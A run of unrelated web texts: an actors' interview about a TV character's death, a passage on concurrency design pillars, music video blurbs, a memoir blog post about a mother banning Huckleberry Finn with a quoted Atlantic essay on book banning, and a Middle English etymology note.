PW: Obviously, Col. Grant is not coming back, but I do think there is a lot of room for possible flashbacks. Amanda and I were talking earlier about the why. This stuff happened and it was kind of a knock-on effect, you know, after Latif had infiltrated us and at the hotel in Delhi—now the why needs to be tackled a little bit. So I think there is a lot of room for conversations that happened in the past, stuff that we didn't quite see in these 10 episodes, so I hope it's not the last we see of her.
AM: Or her evil twin.
PW: Some "Mission Impossible" side of it coming out.
You could come back to play a pilot.
AM: Or it could be like "Dallas": She was just in the shower!
PW: It was all a dream.
I was thinking "Maybe she'll get injured badly, but she'll be back eventually." But the shot of the actual explosion—no way.
PW: Isn't that incredible?
AM: I don't think anyone is coming back from that.
PW: Sully and I both—pardon my French—but we both were watching it at the HBO screening room and we at the same time just went, "Fuck me." It was so brutal and so well done. If you're going to go like that is—
AM: Yeah, really. If you're going to go, really go.
PW: It was so well done.
AM: Yeah, it was great.
And you really sold it. The whole thing where you say earlier in the episode that "you know nothing of my will" was a nice little foreshadowing, but I still didn't think she'd do that.
AM: You didn't? Oh lovely. We were saying that the difficulty is in this—I suppose the conflict in guerilla warfare—is that when people are willing and prepared and aiming to die, you can't threaten them. Their will and their desire is stronger and it can't be broken. That is what they want to do. That is what they are prepared to do.
Yeah, I did think that was a nice little line—and that was mine. I was so pleased. It was important to show you that determination that she knew that if that is what it took then she would do it.
And do you think that is what it was? Do you think she knew at that time that she was going to find a way to do that or just that she knew she would do it?
AM: No, but I think it's the case of saying I'm prepared to do that, I will do what it takes. I think it's quite nice that for nine episodes you don't really—I suppose in Episode 9 you start to see where she is having a fight with Major Sinclair that you get a sense that, "Oh my God this woman is angry, it is there and she does have emotions." But up until then we don't really get to see any of that. So it was a nice scene to do. I think the toughest scene for me to do and it was my last scene, was the video tribute to the guys.
PW: Which was so good.
AM: But it was really, really tough for me to do and we had to do it a couple of times because I genuinely kept breaking down because as I said each character I was imagining my friend and I really was saying goodbye because that was my last shot, so it was really tough to do.
I was going to ask if there was a different way you prepare for something like that than any other normal kind of scene.
AM: I'm the kind of actress I can't fake being upset. Unfortunately, I spent two days and it was quite depressing and exhausting, but I kind of I would draw up various emotions and that's the way I have to do it. They are genuinely quite dramatic scenes to do and when you film for 12 hours a day as I said it can be quite exhausting, but I think that last one and saying goodbye to the guys was genuinely saying goodbye to the guys because I knew I wouldn't be back, so it was tough to do.
PW: Well it was cool, Curt. The very last shot of the 10 episodes was Sinclair sitting in front of this screen that had been shot up by Latif's guys and Section 20 is empty and Sinclair sitting there in front of a screen and there was this long dolly back behind him watching her kind of give this speech and all of us sat there and all of us were in tears.
We were all watching Amanda say goodbye because we knew the story. We knew what was going to happen. We knew she wasn't coming back, but it was kind of ironic that that was the last shot of the show and it was this beautiful goodbye by Amanda and by Grant, but it all hit on such a different level for all of us standing there because we knew we weren't going to see her again.
Philip, the scene where you have to cut the guy open.
AM: Ah, that was really disgusting.
PW: It was one of those things again. We literally we were filming up at the palace in Budapest and we had an allotted time to do it and we were running really short on time, so Dan Perceival and Steve Lawes our DP and I got together and I said, "Look, let's shoot the reactions and we can always shoot the stuff of actually pulling the bomb out later."
So we literally had 15 minutes to roll, so we just got all the stock we had, put it on the camera and we just rolled and rolled and rolled. Dan was behind the camera kind of calling out what was going on, "The green wire, the red wire and you're inside." I had a bloody sponge in my hand and I was just trying to pretend what was going on. I think it works really well because we literally had no time at all. We literally didn't have any time and then so later on the last day we did the inserts of the bomb coming out of the dummy and stuff. So it was pretty intense.
AM: It was disgusting.


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Callahan's Pillars
My colleague David Callahan leads a team within Visual Studio that is working on programming models for concurrency. He has pointed out that fundamental concurrency requirements and techniques fall into three basic categories, or pillars. They are summarized in Table 1 [1]. Understanding these pillars gives us a framework for reasoning clearly about all aspects of concurrency from the concurrency requirements and tradeoffs that matter to our current project, to why specific design patterns and implementation techniques are applicable to getting specific results and how they are liable to interact, and even to evaluating how future tools and technologies will fit with our needs.
Let's consider an overview of each pillar in turn, note why techniques in different pillars compose well, and see how this framework helps to clarify our vocabulary.
Pillar 1: Responsiveness and Isolation Via Asynchronous Agents
Pillar 1 is all about running separate tasks, or agents, independently and letting them communicate via asynchronous messages. We particularly want to avoid blocking, especially on user-facing and other time-sensitive threads, by running expensive work asynchronously. Also, isolating separable tasks makes them easier to test separately and then deploy into various parallel contexts with confidence. Here we use key terms like "interactive" and "responsive" and "background"; "message" and "dialogue"; and "timeout" and "cancel."
A typical Pillar 1 technique is to move expensive work off an interactive application's main GUI pump thread. We never want to freeze our display for seconds or longer; users should still be able to keep clicking away and interacting with a responsive GUI while the hard work churns away in the background. It's okay for users to experience a change in the application while the work is being performed (for example, some buttons or menu items might be disabled, or an animated icon or progress bar might indicate status of the background work), but they should never experience a "white screen of death"a GUI thread that stops responding to basic messages like "repaint" for a while because the new messages pile up behind one that's taking a long time to process synchronously. Typically, users keep trying to click on things anyway to wake the application up, and finally either give up and kill the application because they think it crashed (possibly losing or corrupting work, even though the program would eventually have started responding again!) or else wait it out only to experience a flood where all the clicks they tried to perform finally get processed, usually with unsatisfactory or wrong results. Don't let this happen to your application, even if big companies let it happen to theirs.
So what kind of work do we want to ship out of responsiveness-sensitive threads? It can be work that performs an expensive or high-latency computation (background compilation or print rendering, for instance) or actual blocking (idle waiting for a lock, a database result, or a web service reply). Some of these tasks merely want to return a value; others will interact more to provide intermediate results or accept additional input as they make progress on their work.
Finally, how should the independent tasks communicate? A key is to have the communication itself be asynchronous, preferably using asynchronous messages where possible because messages are nearly always preferable to sharing objects in memory (which is Pillar 3's territory). In the case of a GUI thread, this is an easy fit because GUIs already use message-based event-driven models.
Today, we typically express Pillar 1 by running the background work on its own thread or as a work item on a thread pool; the foreground task that wants to stay responsive is typically long-running and is usually a thread; and communication happens through message queues and message-like abstractions like futures (Java
Future, .NET
IAsyncResult). In coming years, we'll get new tools and abstractions in this pillar, where potential candidates include active objects/services (objects that conceptually run on their own thread, and calling a method is an asynchronous message); channels of communication between two or more tasks; and contracts that let us explicitly express, enforce, and validate the expected order of messages.
This pillar is not about keeping hundreds of cores busy; that job belongs to Pillar 2. Pillar 1 is all about responsiveness, asynchrony, and independence; but it may keep some number of cores busy purely as a side effect, because it still expresses work that can be done independently, and therefore, in parallel.


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Serius Jones (Feat. Nate Dogg) - Smoke
The official music video for Serius Jones' "Smoke" featuring Nate Dogg. Serius Jones takes us into his world with this video/movie with a Half Baked and Friday fusion to it. (With Nate Dogg on the track Serius pays homage to Nate Dogg).
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The First Official Single Baby Ranks (El Amor Se Fue) Featuring Angel Lopez from the forth Coming Grammy Award Winning Artist, Baby Ranks has composed a Classic CD for all Latin Music Lovers BillBoard said that he had the most Highly Anticipated Album of 2008 well now its here Mi Flow 'This is it
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The library books I wanted to check out were heavy in my arms. Stacked up so high that I could hardly see over the top of them. Thankfully, I had the smarts to tuck my library card in my mouth before I picked up the books. This would allow the librarian easy access without my having to dig through the pockets of my Toughskins jeans. I was a young girl of nine and at the time books were my only source of adventure. When school let out for the summer all I had was that library. But this summer would be different. In a month, I would be going to visit my big military careered brother who was stationed in Germany. As the librarian counted my books, I smiled at the Berlitz book on Germany.
Everything was going fine until my mother who emerged from the ladies room, decided to come over to the checkout desk and act parental. Normally she never cared about what I read. I would bounce from Henry Higgins to Harold Robbins and she never cared much. Really, if I could count how many times a librarian raised an eyebrow at young Afrocity's choice of reading material it would be more than my ten fingers and toes. I had free run of the publishing world until this summer day…. As I said, everything was proceeding to plan until my mother began inspecting the spine titles of the stack of books that the librarian had already due date stamped. Towards the middle of the stack, she winced and pulled a green cloth bound book out so fast that it did not disturb the stacks neat straight lines.
"She won't be taking this…discharge it."
Oddly, the librarian looked at me for approval.
I shook my head thinking mother must have believed I would not be able to read the book in time before my trip to Germany, then the book would sit in my bedroom overdue. She would have to tote the book back for me… "I promise I will read it before I go," I protested. " The movie is coming on Family Classics on Sunday. I want to read the book first-"
Mother pursed her lips and glanced at me crossly "You will never read this book," she ordered. " This book makes fun of black people. It has a slave in it who is an Uncle Tom. He follows a piece of white trash name Huckleberry Finn. Huck treats him like an animal."
Mother's voice was not loud but audible to the librarian who had stopped mid air with the date due stamp in her hand.
"You will never read anything by Mark Twain," she continued. "Not in school. Not from the library. You will never see movies about Huck Finn or Tom Sawyer."
A big gulp was in my throat, so I said something manipulative to placate her. Even then I always felt I was smarter than she. I read a lot more than she did. She let me see Roots and it had slaves in it too. She let me watch Bing Crosby movies and she said he was a racist…And what about Rochester on the Jack Benny Show…Mother always laughed at him and to me he looked like a slave… Besides we trusted Frazier Thomas.
"But it is on Family Classics Frazier Thomas said it is a classic that all kids should read-" Yep that was my line of defense and all mom's trusted Fraizer Thomas .
Frazier Thomas is the local WGN Chicago guy with the mellow voice and pretty books in his library. He taught me about Swiss Family Robinson, Black Beauty and Pippa Longstocking. Now he wants to teach me about Huckleberry Finn and mother is saying I cannot check out the book or see the movie on Sunday and I never miss an episode of Family Classics.
"Frazier Thomas is a white man who reads to white kids." Mother fired back. "You think he would have you at his house. Do you think he is reading to you? Has he ever read a book about a black family? "
I shrugged my shoulders. The honest answer would have been no but I did not want her to be right.
"…and what about that movie we saw at the theater that you hated?" she asked. "the one with the black man that was on that island with the prejudiced old white man?"
Mother was referring to a Disney movie that we saw the week previous to my summer recess. It was about Robinson Crusoe and a black guy named Friday. To my nine year old eyes, the movie was boring and the white man appeared to be very mean to the black man. I did not like the movie and was really there for second offering of the double feature- The Apple Dumpling Gang Rides Again.
"So the book is boring?" I asked.
Mother knowing that I hated with a passion anything that is boring, especially books and movies answered, "Yes it is a very boring book by someone who wants you to feel inferior to white people. It is about white southern trash like the people in Roots. What did I tell you about people in the South?"
I twisted my lip and looked down at the floor. One of my friends in school was from Mississippi and I liked her.
"What did we say about southerners Afrocity?"
"That they are ignorant and have the worst white people. John F. Kennedy is dead because of them. They shot Martin Luther King. "
I nodded and answered in a defeated tone "I know."
The Librarian had ignored the line of people wanting to check out books behind us until one impatient young woman purposefully cleared her throat. Why she decided to butt into my mother's lecture is beyond me but it was not a smart idea. "Miss, may I suggest that you consult your daughter's Chicago Public School principal. Huckleberry Finn is taught in many schools and teachers are trained-"
Uh-oh, I thought. At my age I knew what to expect from my mother. If there was one thing she did not tolerate, it was well meaning white people telling black people how to raise her children. Yes we were on welfare but that did not give the the right to parent.
Mother stepped closer to the check out desk. This all struck me as a when shit hits the fan moment. I was embarrassed already, now I was certain that I would be banned from the library for ever.
"First of all," she started. " Call me Ms. How the hell do you know if I am married or not. Second, my daughter does not attend Chicago Public School, she is in a private Catholic School so your assumption about all black kids and the schools they go to is wrong. I do not give a damn about what my daughter reads as long as it is not something that makes blacks look like fools. "
The green eyed, blond librarian blinked- a lot. She looked like a blond version of Rhoda from the Mary Tyler Moore show. Somehow I knew she was a good person. I felt sorry for her and this was all of my fault. I should have checked out sooner so Ms. Mother would not have known what I had decided to borrow. Then the books would have been all safe and uncensored in my seersucker book satchel.
Mother took the copy of Huckleberry Finn, flipped through a few pages and found a page she wanted the librarian to see.
"What is this word?" she asked the librarian.
I stood at the desk on my tippy toes hoping to see what she was pointing to on the page. I saw an illustration of a black man standing in what looked like grass but I could not see the words.
When the librarian looked at the page, she nodded. "I know what the word is and I know why you would be upset at the author for using it-"
"Over and over again. Page after page," Mother interrupted.
"But it is considered an American classic and my son has read-"
"Does your son look like my daughter?" On the hostile black woman meter, my mother was about heated seven by this point. "Would you want your son to read a book that called his people Polaks? You are Polish right? "
The librarian chose not to answer. Instead she asked " Ms. will you be taking your daughters remaining selections?"
Mother browsed my other books for suspect titles. The Adventures of Tom Sawyer was chucked along with a cook book I had chosen about German food. Mother discouraged me from getting cookbooks because they usually led to me begging her to buy some expensive ingredients so I could mess up her clean kitchen and waste our food stamps.
"You will eat plenty of German food while you are in Germany," she said.
Finding finally a light note to grab on to, the librarian continued stamping my remaining books. Looking at me and me only as if to make my mother disappear she smiled and asked "Are you going to Germany?"
My mother was still closely watching this whole book check out affair and I was frankly afraid to say anything for fear that mother would get reactivated. My nod was covering my enthusiasm to tell someone, anyone about my upcoming trip.
"Well you have a good time…Okay?" she pushed the pile of now fully stamped books towards me. I loaded them in my bag. Mother escorted me out of the building. As we walked to our bus stop our conversation was restrained. She only asked me if I wanted to stop off to get some orange Push-up sherbet ice cream treats from the store. Mother was like that. She would talk up a storm in public sometimes then when you thought she'd let me hear it in private- suddenly silence.
I would never watch the Huckleberry Finn movie on Family Classics that upcoming Sunday. Frazier Thomas had lost all credibility in my household.
I would also never ever read a book by Mark Twain at all. Mother and I never spoke of the event again. Lucky for me, Twain was never assigned in my literature course in high school or college. I really never thought about it again until the other day when I crossed paths with this piece in the Atlantic.
When Great Art Happens to Bad People
Apr 24 2010
By Erik Tarloff
Every few years, it makes the papers: somebody opposes the teaching of The Adventures of Huckleberry Finn in some high school, or even wants it banned from the local library. The reason, of course, is the book's frequent use of the word "nigger" (over 200 occurrences, according to people who count such things). When one such incident made a splash sometime in the '90s, and the minister who was leading the crusade made a large number of appearances on TV and radio, my friend Wendy Lesser, a distinguished literary critic and editor, protested to me, "But he's missing the whole point!"
She was right, of course. To seize on a single word, even a single word reiterated 200-plus times, without regard to its context or purpose represents a misreading that seems almost willful. But to my mind, defending the teaching of the book on those grounds, while justified on the merits, also misses the whole point, or at least concedes far too much. Because, what if the protest didn't in fact miss the point? What if Huckleberry Finn actually were a racist book, rather than a non-racist book that permits its characters to speak in an argot appropriate to their time and circumstance? Would the banning then be justified?
Thanks to the Atlantic, my memory was jarred. I paced through the den of my apartment and stood in front of my two large bookshelves. My deceased mother's ashes were in a box nearby. Thoughtfully looking over my library, I found many books that my mother would object to. Glenn Beck's A Christmas Sweater, Fleeced by Dick Morris. My library is full of a conservative's arsenal against liberal thought, against welfare, affirmative action…against phony racism.
Rare books, pretty books, cookbooks everything seemed to be there on my shelves. However, something was missing. I think it may be time for Afrocity to read something by Mark Twain and though I have the money to buy the book…I think instead I should go to my local library…and check it out for myself.
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Of þe uour uirtues cardinales spekeþ moche þe yealde philosofes. ["Ayenbite of Inwyt," c. 1340]By analogy of this, and cardinal points, cardinal winds, cardinal signs (four zodiacal signs marking the equinoxes and the solstices), the adjective in Middle English acquired an association with the number four.
Although the work does not treat of the recent means of diagnosis--the thermometer, laryngoscope, cardiograph, etc.,--still it is complete as far as it goes. [book review in "Medical Investigator," May 1867, p.94]


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